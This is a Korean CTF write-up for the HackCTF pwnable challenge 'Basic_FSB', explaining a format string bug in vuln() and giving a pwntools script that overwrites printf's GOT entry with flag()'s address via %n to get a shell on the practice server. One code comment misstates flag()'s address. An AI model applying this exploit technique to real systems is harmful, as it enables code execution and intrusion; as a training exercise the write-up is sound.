tmxklab

[HackCTF/Pwnable] Basic_FSB 본문

War Game/HackCTF

[HackCTF/Pwnable] Basic_FSB

tmxk4221 2020. 1. 27. 02:50

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3002

 

1) 접속

  • "hi"를 입력하면 출력 값으로 "hi"을 내보내고 프로그램은 더이상 실행되지 않음

 

2) IDA(Pseudocode)확인 - main()

  • vuln()를 실행하고 종료

 

3) IDA(Pseudocode)확인 - flag()

  • system() 실행

 

4) IDA(Pseudocode)확인 - vuln()

  • fgets()를 통해 input값을 s변수에 저장한 뒤 snprintf()를 통해 s변수에 저장된 값을 format변수에 저장
  • 이때, 1024bytes까지 사이즈의 범위를 제한했지만 포맷을 지정하지 않았음 -> FSB 취약점 존재
  • 마지막으로 format변수에 저장된 값을 포맷 지정 없이 printf()를 통해 출력 -> FSB 취약점 존재
int sprintf(char *buffer, const char *format, ...)
- 파라미터 : 1) 버퍼 변수, 2) 버퍼 사이즈, 3) 가변 파라미터
- 리턴 값 : 문자열의 길이

int snprintf(char *buffer, int buf_size, const char *format, ...)
- 파라미터 : 1) 버퍼 변수, 2) 버퍼 사이즈, 3) 포맷, 4) 가변 파라미터
- 리턴 값 : 문자열의 길이
- bof공격을 막기 위해 문자열의 길이 지정

 


2. 접근방법

1) 결론

  • snprintf() 또는 printf()에서 FSB취약점을 통해 공격이 가능
  • main()에서는 vuln()을 실행하지만 궁극적으로 실행시켜야할 flag()는 실행되지 않음
  • 여기서는 snprintf()에서 printf()의 got를 flag()주소로 바꾸어 공격(printf()의 GOT를 Overwrite)

3. 풀이

1) 포맷 스트링 버그 테스트

  • printf()실행 시 flag변수의 주소를 참조하여 화면에 출력
  • 만일, 서식문자 %x를 만나면 현재 esp에서 4bytes 증가한 부분의 메모리 내용을 16진수로 출력

 

input넣은 결과

  • printf()에서 esp가 1번 높은 주소로 이동하면 format변수가 위치한 주소 값 참조

 

2) flag() 주소 확인

  • flag() 시작 주소 : 0x080485b4 -> 134,514,100(십진수)

 

3) printf() got 확인

 

  • printf()의 got : 0x804a00c

 

4) 공격 페이로드 구성

① [printf_got] + [flag()주소] + [%n]

  • %n은 현재 가리키고 있는 esp의 다음 4bytes의 주소 값에 현재까지 계산한 자릿수를 넣음
  • 즉, printf_got주소 안의 값이 %n이 나오기전, 그러니깐, printf_got와 flag()주소를 합한 자릿수를 넣음
  • 따라서 flag()주소와 printf_got의 4bytes까지 계산해야되서 flag()주소에 4bytes를 빼야함

snprintf()를 통해서 다음에 실행할 printf()를 flag()로 실행하기 위해 printf()의 got를 flag()로 덮어씌우면 printF()대신에 flag()를 실행하게 됨

  • payload : [printf_got] + [flag() - 4bytes] + [%n]

 

5) 공격코드 작성

from pwn import *   # pwntools모듈

# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3002)
e = ELF("./basic_fsb")

# printf()의 got를 32bit로 패킹
payload = p32(e.got['printf'])

# flag()의 주소 값 = 0x80485b0 = 134,514,100
# 앞의 printf()의 4bytes까지 계산해버리므로 4bytes를 빼야함
# 따라서, 134,514,100 - 4 = 134,514,096
payload += "%134514096x%n"

# payload객체에 저장된 값을 보냄
p.sendline(payload)

# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()

 

6) 공격실행

Comments